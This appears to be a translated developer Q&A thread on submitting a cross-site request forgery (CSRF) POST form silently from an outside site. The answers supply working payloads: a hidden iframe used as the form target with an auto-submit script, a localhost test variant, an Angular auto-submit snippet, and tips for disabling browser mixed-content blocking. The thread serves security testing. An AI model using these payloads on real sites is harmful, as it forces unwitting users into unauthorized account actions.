web-dev-qa-db-ja.com

POST FORM(CSRF)をサイレント送信する例

ユーザーに通知せずに、CSRFのPOSTフォームをサイレントに送信する方法を知りたい(POSTされたURLにリダイレクトされるドキュメントの場所はサイレントではありません)。

例:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

外部サイトで、このフォームを自動的かつサイレントにトリガーするにはどうすればよいですか?

23
apscience

1つの解決策は、フォームのアクションをiframeのようなフレームで開くことです。

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
49
Gumbo

CSRFをローカルでテストする場合、いくつかのセキュリティ対策を克服する必要があります。

にとって Blocked loading mixed active contentエラー。攻撃者サイトと標的サイトのプロトコル(http/https)が同じであることを確認するか、攻撃者サイトのプロトコルとして「//」を使用します。ローカルホストへの攻撃例:

<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
  <input type='hidden' name='boo' value='true'>
  <input type='submit' value='Submit'>
</form>

または、Firefox security.mixed_content.block_active_contentからfalseへ。


Angularを使用している場合、セキュリティオプションによりインラインJavaScriptを使用できないため、攻撃者のサイトの分離コードに送信を移動する必要があります。

ngOnInit() {
   const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
   myForm.submit();
}

最後に、攻撃者のサイトのヘッダー 'x-frame-options' を設定しないでください。

2
RJFalconer